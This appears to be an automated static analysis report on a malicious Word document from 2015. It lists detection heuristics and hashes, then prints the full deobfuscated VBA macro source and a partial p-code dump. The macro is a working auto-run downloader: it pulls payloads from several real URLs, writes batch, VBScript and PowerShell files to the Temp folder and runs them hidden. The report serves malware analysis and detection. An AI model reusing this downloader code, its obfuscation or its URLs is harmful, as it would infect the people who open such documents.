Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 32c23ac03689d4cd…

MALICIOUS

Office (OLE)

72.0 KB Created: 2015-06-29 06:46:00 Authoring application: Microsoft Office Word First seen: 2015-09-17
MD5: 28bbdaaba8b223b44ec7189e1972c4b0 SHA-1: 44da077f8d37249f579fa83c01cb8fb453d9efe7 SHA-256: 32c23ac03689d4cd90ad2c7737eb27806440bbb2fbc13838e6cf6a3b648cb252
376 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros with AutoOpen and Workbook_Open execution triggers. These macros utilize CreateObject and potential Shell calls to download payloads from multiple URLs, including http://www.genussvoll-werben.de/wp-content/uploads/2015/06/kaka.txt. The obfuscation techniques and the presence of multiple download URLs indicate a downloader functionality.

Heuristics 14

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(b, 0)
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.genussvoll-werben.de/wp-content/uploads/2015/06/kaka.txt Referenced by macro
    • http://www.genussvoll-werben.de/wp-content/uploads/2015/06/167362833333.txt123123123Referenced by macro
    • http://savepic.su/5723103.jpgReferenced by macro
    • http://savepic.su/5712863.jpgReferenced by macro
    • http://www.gfc.com.br/wp-content/uploads/2015/06/167362833333.txtReferenced by macro
    • http://www.gfc.com.br/wp-content/uploads/2015/06/kaka.txtReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38274 bytes
SHA-256: 0338d05ab6b90d4af4f32fc0036f7e73562530c0f7809750980ecdbd4c199885
Detection
ClamAV: No threats found
Obfuscation or payload: likely
93 of 243 identifiers look randomly generated (e.g. 'Bhgwdjhqgjhwgdhbsnvdanvdassda'); 4 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Huqhdjanmbuqwgdq_Open()
     
End Sub
Sub Buqdjashdkjkwqhd_Open()
     
End Sub
Sub Auto_Open()
    Huqgdgajsghqgwygdhasd
    Fwiqdjkasdjhkhqwd
End Sub
Sub Jiqhwdjkasdnmbqwd()
    HQUWDIUQWGYDGHSJASGD = "iqhjwduihqwhd iqwh diqwhdiuw qhd"
End Sub
Sub Huqgdgajsghqgwygdhasd()
    HJIQHWDHQWDW = "qhjdhqk hqwjhdqjkwhdqjkwh jkqwhd qwh e"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    HUQDHUIQW = "huqw dhqwui hksdjhqwuidhwqidhquwi d hqwduihauigsd"
    Auto_Open
End Sub
 
Sub Fwiqdjkasdjhkhqwd()

    Dim huwe, auwd As Integer, aabbb As Integer
    Dim HUHPPHPP As String, HBHJVJG As String
    HBHJVJG = "\"
    Dim asjiw As Integer, woweffect As Integer, jwasssssdas As Integer, asdsssssjqwdq As Integer
    Dim retVal As Variant
    
    
    YUGQYD = Ubqhwdhwqbd(23144) + ""
    HUHPPHPP = Chr(84) & "e" + "mp"
    FL2 = YUGQYD
    PH2 = Module4.Goabc(HUHPPHPP) + HBHJVJG
    
    woweffect = 6
    nqjdnkqw = 2
    jwnqdw = 1 - woweffect
    
    
    JIQWDJQ = 12312312
    JIQWDJQ = 1 + 1 + 113 + Sgn(jwnqdw)
    AAAA = JIQWDJQ
    

    HYWDAX = "bajqhuwdkjqw dhqw jdhqiwhudqwhd iqwhdiuqwhdiqwhd wt"
    JWIDJIAAA = ""
    HUYFEA = "qhwgdjqwgdhjqgw udywqd quwgd uhw gdiuqwgduiqwdgwqd"
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    IUQJWD = "qbgywduqwgd yquwgdyqw gdqowidqwhdjwgd hjqwgd"
    PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
    
    SSS = Chr(AAAA + 1)
    VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
    huwe = 1
    BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 11 + 10 + 25 + huwe + 0) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "d" + "" + "ul" + "e"
    AFTG = "m" & KIWD
    
    SXEE = Chr(46)
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "" & "xe"
    GNG = ".jpg"
    
    PHT = "" & "ht" & "t" & "p:/" & "/" & ""
    SPIC = Chr(100 + 15) + "av" & "epi" + "c.su" + Chr(30 + 16 + 1)
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "bahuqihd uwqhd qwuydguyqgd yuqwg dqiygd qwjkgqw "
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    
    Dim AAAAHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
    TSTS = "." + "t" + "xt"
    CDDD = "167362833333" + TSTS
    LNSS = "kaka" + TSTS
    STT1 = "www.genussvoll-werben.de/w" + "p-content/uploads/2015/06/"
    STT2 = "www.gfc.com.br/w" + "p-content/uploads/2015/06/"


PBIn = PHT + STT1 + CDDD
    CONT = Module4.Jhuqwhdhsss(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = PHT + STT2 + CDDD
        CONT = Module4.Jhuqwhdhsss(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
     
    TVT10 = Port(CONT, "t" + "ext10")
    TVT20 = Port(CONT, "text20")
    TVT21 = Port(CONT, "text21")
    TVT30 = Port(CONT, "text30")
    TVT31 = Port(CONT, "text31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module4.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module4.WaitFor (1)
    
    MIWDWQ = PHT + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = PHT + STT2 + LNSS
    End If
    
    SEXX = Module4.Jhuqwhdhsss(MIWDWQ)
    
    PSTB = PBIn + "123123123"
    MSTAR1 = SPIC + "5723103" + GNG
    MSTAR2 = SPIC + "5712863" + GNG
    STAR1 = PHT + MSTAR1
    STAR2 = PHT + MSTAR2
    FFQ = "8"
    FF = FFQ + SXE
    
     If (hudhw = 130) Then
     Open BAPTH For Output As #DRT
     Print #DRT, XPT1
     Print #DRT, ":rtqdftqwfdhwgqf" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #DRT, XPT2
     Close #DRT
     
     Module4.WaitFor (1)
     
     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT
     
     BDDT.WaitFor (1)
     NTH1 = Module6.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
     HUDQG = "';"
     
     
     
      If (hudhw = 200) Then
     ZPQSKD = FL2
     Open PSPTH For Output As #CFT
     Print #CFT, "$ujdkwq = 'jqwdb';"
     Print #CFT, "$stat = 'ht'+'tp://'+'" + MSTAR2 + "';"
     Print #CFT, "$ggtt = '" + SEXX + "';"
     Print #CFT, "$pths = '" + PH2 + "';"
     
     Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
     Print #CFT, "$nnm = '" + FFQ + "';"
     Print #CFT, TVT10
     Close #CFT
     
     Open VBPTH For Output As #DFT
     Print #DFT, TVT30
     Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&djwq"
     Print #DFT, TVT31
     Close #DFT
    
     Open BAPTH For Output As #EFT
     Print #EFT, "@e" + "cho off"
     Print #EFT, TVT20
     Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
     Print #EFT, ":huwdiqgugsgd"
     Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34)
     Print #EFT, "set Rts4=" + "%Mts4%%Ads3%"
     Print #EFT, TVT21
     Close #EFT
     Module4.WaitFor (1)
     
     NTH2 = Module6.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
    JUW = Chr(47)
    AKK = Chr(60)
    ZKK = ">"
    NTH3 = Module6.Thwqbdhjabs(AKK + INTG + ZKK, AKK & JUW + INTG + ZKK, 1)
    NTH4 = Module6.Thwqbdhjabs(AKK + AFTG + ZKK, AKK + JUW + AFTG + ZKK, 2)
    NTH5 = Module6.Thwqbdhjabs(AKK + INTG + ZKK, "", 3)
    NTH6 = Module6.Thwqbdhjabs(AKK + JUW + INTG + ZKK, "", 3)
    NTH7 = Module6.Thwqbdhjabs(AKK + AFTG + ZKK, "", 3)
    NTH8 = Module6.Thwqbdhjabs(AKK + JUW + AFTG + ZKK, "", 3)
    
End Sub


Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function



Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function

Private Static Function Log10(x)
Log10 = Log(x) / Log(10#)
End Function


Private Static Function Rasdas(a As String)
Rasdas = Right(a, 1)
End Function

Public Function Quqhwdbyas(ByVal strData As String) As String
    Dim objXML As Object
    Dim objNode As Object
    Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
    nudqwd = Log10(100)
    asduiwhqdqiw = NUqwdqwbdsad(1 - nudqwd)
    QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
    Set objXML = CreateObject("" & QHDHUQW)
    Set objNode = objXML.createElement("b6" + "4")
    objNode.DataType = "bin.ba" & "se64"
    objNode.Text = strData
    WUDHA = objNode.nodeTypedValue
    Quqhwdbyas = WUDHA
    Set objNode = Nothing
    Set objXML = Nothing
End Function


Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = "" & Chr(60)
NDUW = "" & Chr(62)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Mid(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function








Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"

Attribute VB_Name = "Module3"

Attribute VB_Name = "Module4"


Public Function Goabc(sps As String)
Goabc = Environ(sps)
End Function

Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Public Function Jhuqwhdhsss(a As String)
Dim ygwdg As Integer, Bhgwdjhqgjhwgdhbsnvdanvdassda As Object
Dim ggFw As String
ggFw = a
HUQIHDWQGDHABV = "uqhwu h2u 1gyj hjgjhg ouhiu uigug uighjg1 2hjg3"
HQUWHDKAJSGDDD = "qjkh djkh21jh1 u2hui12g u3g21y3g 2j1hg3 hjg21j3g"

Set Bhgwdjhqgjhwgdhbsnvdanvdassda = CreateObject("" + "M" & "" & "S" & "X" + "" + "ML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P")
Bhgwdjhqgjhwgdhbsnvdanvdassda.Open "G" & "" & "ET", ggFw
NUQHDUGHSBDNC = "qwjhje gqwhgejhqwg ehjqgw ejhqwgjhg dhjqwgdgqw jwq"
DBQHWJVDSNBVD = "qwghdjheg hjqg ui2g jghjg asuidgqw dhjwdgq uwqg7g djhags "
GDYQWGDYFSAFD = "98ujkq 782h ygy 67g yjg8ew 7 udsfdgfywegf wef"
Bhgwdjhqgjhwgdhbsnvdanvdassda.Send ""
Jhuqwhdhsss = Bhgwdjhqgjhwgdhbsnvdanvdassda.ResponseText
End Function









Attribute VB_Name = "Module5"

Attribute VB_Name = "Module6"

Public Function GHJgwqdjqgw(a As Variant, b)
Jiwfhjksdhf = "hausdg yquwgd yquwgd yqu2gg17g e2u1geu"
Jiwfhjksdhf = "hausdg yquwgd yquwgd yqu2gg17g e2u1geu"
a = Shell(b, 0)
Jiwfhjksdhf = "hausdg yquwgd yquwgd yqu2gg17g e2u1geu"
GHJgwqdjqgw = a
End Function


Public Function Thwqbdhjabs(dnuwhd As String, b As String, c As Integer)
Dim selectedText As String
Dim kjdksjdwqs As Range, selRange As Range
Set kjdksjdwqs = ActiveDocument.Range
HUIHQDGHJASGDHJASD = "ajsdiuhqwidgiqwug yuqwguwqg 726g du asdad"
QDHGAJSHDGJHQGWDJGQJH = "2jh ghejg2hj2gehj2fe g2egh2f eghfehg f2wqe"
With kjdksjdwqs.Find
'HUIHQDGHJASGDHJASD = "ajsdiuhqwidgiqwug yuqwguwqg 726g du asdad"
'QDHGAJSHDGJHQGWDJGQJH = "2jh ghejg2hj2gehj2fe g2egh2f eghfehg f2wqe"
.Text = dnuwhd
.MatchWholeWord = True
kjdksjdwqs.Find.Execute
kjdksjdwqs.Collapse direction:=wdCollapseEnd
Dim wdwq As String
Set selRange = ActiveDocument.Range
Dim wdsadwq As String
selRange.Start = kjdksjdwqs.End
.Text = b
.MatchWholeWord = True
.Execute
kjdksjdwqs.Collapse direction:=wdCollapseStart
selRange.End = kjdksjdwqs.Start

If (c = 1) Then
    selectedText = selRange.Delete
End If
If (c = 2) Then
    selRange.Font.Color = wdColorBlack
End If

Dim hduwaa As Integer
hduwaa = 1 - 423

If (c = 3) Then
    With kjdksjdwqs.Find
    .Text = a
    .Replacement.Text = "" & "" + "" & "" + "    "
    'HUIHQDGHJASGDHJASD = "ajsdiuhqwidgiqwug yuqwguwqg 726g du asdad"
    'QDHGAJSHDGJHQGWDJGQJH = "2jh ghejg2hj2gehj2fe g2egh2f eghfehg f2wqe"
    'NJKQNDJBKASDH = "2uh782h ejsah78dg gdyu3g 37gduh dqwgdq"
    'qwgdgqwjhdgqhwgdq = "2uieh 2uieg y2ge y2euy2g euygeu2 eew"
    'QHWDJHUQWKJDGHKQJW = "2jkhh2k2 h2jk2kj h2iu22ih2 ishihqw ihw9qh dq"
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
    End With
End If

End With
End Function





' Processing file: /opt/analyzer/scan_staging/55c993988f204f048f22ce04707757e1.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 15882 bytes
' Line #0:
' 	FuncDefn (Sub Huqhdjanmbuqwgdq_Open())
' Line #1:
' Line #2:
' 	EndSub 
' Line #3:
' 	FuncDefn (Sub Buqdjashdkjkwqhd_Open())
' Line #4:
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub Auto_Open())
' Line #7:
' 	ArgsCall Huqgdgajsghqgwygdhasd 0x0000 
' Line #8:
' 	ArgsCall Fwiqdjkasdjhkhqwd 0x0000 
' Line #9:
' 	EndSub 
' Line #10:
' 	FuncDefn (Sub Jiqhwdjkasdnmbqwd())
' Line #11:
' 	LitStr 0x0020 "iqhjwduihqwhd iqwh diqwhdiuw qhd"
' 	St HQUWDIUQWGYDGHSJASGD 
' Line #12:
' 	EndSub 
' Line #13:
' 	FuncDefn (Sub Huqgdgajsghqgwygdhasd())
' Line #14:
' 	LitStr 0x0026 "qhjdhqk hqwjhdqjkwhdqjkwh jkqwhd qwh e"
' 	St HJIQHWDHQWDW 
' Line #15:
' 	EndSub 
' Line #16:
' Line #17:
' 	FuncDefn (Sub AutoOpen())
' Line #18:
' 	ArgsCall Auto_Open 0x0000 
' Line #19:
' 	EndSub 
' Line #20:
' 	FuncDefn (Sub Workbook_Open())
' Line #21:
' 	LitStr 0x0031 "huqw dhqwui hksdjhqwuidhwqidhquwi d hqwduihauigsd"
' 	St HUQDHUIQW 
' Line #22:
' 	ArgsCall Auto_Open 0x0000 
' Line #23:
' 	EndSub 
' Line #24:
' Line #25:
' 	FuncDefn (Sub Fwiqdjkasdjhkhqwd())
' Line #26:
' Line #27:
' 	Dim 
' 	VarDefn huwe
' 	VarDefn auwd (As Integer)
' 	VarDefn aabbb (As Integer)
' Line #28:
' 	Dim 
' 	VarDefn HUHPPHPP (As String)
' 	VarDefn HBHJVJG (As String)
' Line #29:
' 	LitStr 0x0001 "\"
' 	St HBHJVJG 
' Line #30:
' 	Dim 
' 	VarDefn asjiw (As Integer)
' 	VarDefn woweffect (As Integer)
' 	VarDefn jwasssssdas (As Integer)
' 	VarDefn asdsssssjqwdq (As Integer)
' Line #31:
' 	Dim 
' 	VarDefn retVal (As Variant)
' Line #32:
' Line #33:
' Line #34:
' 	LitDI2 0x5A68 
' 	ArgsLd Ubqhwdhwqbd 0x0001 
' 	LitStr 0x0000 ""
' 	Add 
' 	St YUGQYD 
' Line #35:
' 	LitDI2 0x0054 
' 	ArgsLd Chr 0x0001 
' 	LitStr 0x0001 "e"
' 	LitStr 0x0002 "mp"
' 	Add 
' 	Concat 
' 	St HUHPPHPP 
' Line #36:
' 	Ld YUGQYD 
' 	St FL2 
' Line #37:
' 	Ld HUHPPHPP 
' 	Ld Module4 
' 	ArgsMemLd Goabc 0x0001 
' 	Ld HBHJVJG 
' 	Add 
' 	St PH2 
' Line #38:
' Line #39:
' 	LitDI2 0x0006 
' 	St woweffect 
' Line #40:
' 	LitDI2 0x0002 
' 	St WOWEFFECTT 
' Line #41:
' 	LitDI2 0x0001 
' 	Ld woweffect 
' 	Sub 
' 	St jwnqdw 
' Line #42:
' Line #43:
' Line #44:
' 	LitDI4 0xDEF8 0x00BB 
' 	St JIQWDJQ 
' Line #45:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Add 
' 	LitDI2 0x0071 
' 	Add 
' 	Ld jwnqdw 
' 	FnSgn 
' 	Add 
' 	St JIQWDJQ 
' Line #46:
' 	Ld JIQWDJQ 
' 	St AAAA 
' Line #47:
' Line #48:
' Line #49:
' 	LitStr 0x0033 "bajqhuwdkjqw dhqw jdhqiwhudqwhd iqwhdiuqwhdiqwhd wt"
' 	St HYWDAX 
' Line #50:
' 	LitStr 0x0000 ""
' 	St JWIDJIAAA 
' Line #51:
' 	LitStr 0x0032 "qhwgdjqwgdhjqgw udywqd quwgd uhw gdiuqwgduiqwdgwqd"
' 	St HUYFEA 
' Line #52:
' 	LitStr 0x0001 "b"
' 	St QIWJDABB 
' Line #53:
' 	Ld QIWJDABB 
' 	LitStr 0x0001 "a"
' 	Add 
' 	LitStr 0x0001 "t"
' 	Add 
' 	St HUYFEA 
' Line #54:
' 	LitStr 0x002C "qbgywduqwgd yquwgdyqw gdqowidqwhdjwgd hjqwgd"
' 	St IUQJWD 
' Line #55:
' 	Ld FL2 
' 	LitStr 0x0000 ""
' 	Add 
' 	LitStr 0x0000 ""
' 	LitStr 0x0001 "."
' 	Add 
' 	LitStr 0x0001 "p"
' 	Add 
' 	LitStr 0x0000 ""
' 	Add 
' 	LitDI2 0x0073 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0031 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Concat 
' 	St PSFL 
' Line #56:
' Line #57:
' 	Ld AAAA 
' 	LitDI2 0x0001 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	St SSS 
' Line #58:
' 	Ld FL2 
' 	LitDI2 0x0032 
' 	LitDI2 0x0004 
' 	Sub 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x0001 "v"
' 	Add 
' 	LitStr 0x0000 ""
' 	Add 
' 	LitStr 0x0000 ""
' 	Add 
' 	LitStr 0x0001 "b"
' 	Concat 
' 	LitStr 0x0000 ""
' 	Concat 
' 	Ld SSS 
' 	Concat 
' 	LitStr 0x0000 ""
' 	Concat 
' 	St VBFL 
' Line #59:
' 	LitDI2 0x0001 
' 	St huwe 
' Line #60:
' 	Ld FL2 
' 	LitR8 0xBA5E 0x0C49 0x0B02 0x4036 
' 	UMi 
' 	FnFix 
' 	ArgsLd NUqwdqwbdsad 0x0001 
' 	LitDI2 0x000B 
' 	Add 
' 	LitDI2 0x000A 
' 	Add 
' 	LitDI2 0x0019 
' 	Add 
' 	Ld huwe 
' 	Add 
' 	LitDI2 0x0000 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Ld HUYFEA 
' 	Add 
' 	St BAFL 
' Line #61:
' Line #62:
' 	LitStr 0x0000 ""
' 	LitStr 0x0001 "o"
' 	Concat 
' 	LitStr 0x0005 "bject"
' 	Concat 
' 	St INTG 
' Line #63:
' 	LitDI2 0x006E 
' 	Ld BAFL 
' 	FnLen 
' 	ArgsLd NUqwdqwbdsad 0x0001 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	LitStr 0x0001 "d"
' 	Add 
' 	LitStr 0x0000 ""
' 	Add 
' 	LitStr 0x0002 "ul"
' 	Add 
' 	LitStr 0x0001 "e"
' 	Add 
' 	St KIWD 
' Line #64:
' 	LitStr 0x0001 "m"
' 	Ld KIWD 
' 	Concat 
' 	St AFTG 
' Line #65:
' Line #66:
' 	LitDI2 0x002E 
' 	ArgsLd Chr 0x0001 
' 	St SXEE 
' Line #67:
' 	LitDI2 0x0065 
' 	ArgsLd Chr 0x0001 
' 	St SXAA 
' Line #68:
' 	Ld SXEE 
' 	Ld SXAA 
' 	Concat 
' 	LitStr 0x0000 ""
' 	Concat 
' 	LitStr 0x0002 "xe"
' 	Concat 
' 	St SXE 
' Line #69:
' 	LitStr 0x0004 ".jpg"
' 	St GNG 
' Line #70:
' Line #71:
' 	LitStr 0x0000 ""
' 	LitStr 0x0002 "ht"
' 	Concat 
' 	LitStr 0x0001 "t"
' 	Concat 
' 	LitStr 0x0003 "p:/"
' 	Concat 
' 	LitStr 0x0001 "/"
' 	Concat 
' 	LitStr 0x0000 ""
' 	Concat 
' 	St PHT 
' Line #72:
' 	LitDI2 0x0064 
' 	LitDI2 0x000F 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	LitStr 0x0002 "av"
' 	Add 
' 	LitStr 0x0003 "epi"
' 	LitStr 0x0004 "c.su"
' 	Add 
' 	LitDI2 0x001E 
' 	LitDI2 0x0010 
' 	Add 
' 	LitDI2 0x0001 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Concat 
' 	St SPIC 
' Line #73:
' Line #74:
' 	Ld PH2 
' 	Ld PSFL 
' 	Add 
' 	St PSPTH 
' Line #75:
' 	Ld PH2 
' 	Ld VBFL 
' 	Add 
' 	St VBPTH 
' Line #76:
' 	LitStr 0x0030 "bahuqihd uwqhd qwuydguyqgd yuqwg dqiygd qwjkgqw "
' 	St BAPTH 
' Line #77:
' 	Ld PH2 
' 	Ld BAFL 
' 	Add 
' 	St ABPTH 
' Line #78:
' 	Ld ABPTH 
' 	St BAPTH 
' Line #79:
' Line #80:
' 	Dim 
' 	VarDefn AAAAHUQW (As Integer)
' 	VarDefn DRT (As Integer)
' 	VarDefn BFT (As Integer)
' 	VarDefn CFT (As Integer)
' 	VarDefn DFT (As Integer)
' 	VarDefn EFT (As Integer)
' 	VarDefn CONT (As String)
' Line #81:
' Line #82:
' 	LitDI2 0x013B 
' 	St DRT 
' Line #83:
' 	LitDI2 0x013C 
' 	St BFT 
' Line #84:
' 	LitDI2 0x013D 
' 	St CFT 
' Line #85:
' 	LitDI2 0x013E 
' 	St DFT 
' Line #86:
' 	LitDI2 0x013F 
' 	St EFT 
' Line #87:
' 	Dim 
' 	VarDefn NUWDHUQHUQWDH (As String)
' Line #88:
' 	LitStr 0x0003 "USE"
' 	LitStr 0x0008 "RPROFILE"
' 	Concat 
' 	St NUWDHUQHUQWDH 
' Line #89:
' 	Dim 
' 	VarDefn PBIn (As String)
' 	VarDefn asdwq (As String)
' 	VarDefn MIWDWQ (As String)
' Line #90:
' Line #91:
' 	LitStr 0x0001 "."
' 	LitStr 0x0001 "t"
' 	Add 
' 	LitStr 0x0002 "xt"
' 	Add 
' 	St TSTS 
' Line #92:
' 	LitStr 0x000C "167362833333"
' 	Ld TSTS 
' 	Add 
' 	St CDDD 
' Line #93:
' 	LitStr 0x0004 "kaka"
' 	Ld TSTS 
' 	Add 
' 	St LNSS 
' Line #94:
' 	LitStr 0x001A "www.genussvoll-werben.de/w"
' 	LitStr 0x001A "p-content/uploads/2015/06/"
' 	Add 
' 	St STT1 
' Line #95:
' 	LitStr 0x0010 "www.gfc.com.br/w"
' 	LitStr 0x001A "p-content/uploads/2015/06/"
' 	Add 
' 	St STT2 
' Line #96:
' Line #97:
' Line #98:
' 	Ld PHT 
' 	Ld STT1 
' 	Add 
' 	Ld CDDD 
' 	Add 
' 	St PBIn 
' Line #99:
' 	Ld PBIn 
' 	Ld Module4 
' 	ArgsMemLd Jhuqwhdhsss 0x0001 
' 	St CONT 
' Line #100:
' Line #101:
' 	Ld CONT 
' 	ArgsLd Rasdas 0x0001 
' 	St asdwq 
' Line #102:
' Line #103:
' 	LitStr 0x0001 "0"
' 	St HQUWDAAA 
' Line #104:
' 	Ld asdwq 
' 	LitStr 0x0001 "="
' 	Ne 
' 	Paren 
' 	IfBlock 
' Line #105:
' 	Ld PHT 
' 	Ld STT2 
' 	Add 
' 	Ld CDDD 
' 	Add 
' 	St PBIn 
' Line #106:
' 	Ld PBIn 
' 	Ld Module4 
' 	ArgsMemLd Jhuqwhdhsss 0x0001 
' 	St CONT 
' Line #107:
' 	Ld CONT 
' 	St asdwq 
' Line #108:
' 	LitStr 0x0001 "1"
' 	St HQUWDAAA 
' Line #109:
' 	EndIfBlock 
' Line #110:
' Line #111:
' 	Ld asdwq 
' 	ArgsLd Quqhwdbyas 0x0001 
' 	St CONT 
' Line #112:
' Line #113:
' 	Dim 
' 	VarDefn ahuywdgqy (As String)
' Line #114:
' Line #115:
' 	Ld CONT 
' 	LitStr 0x0001 "t"
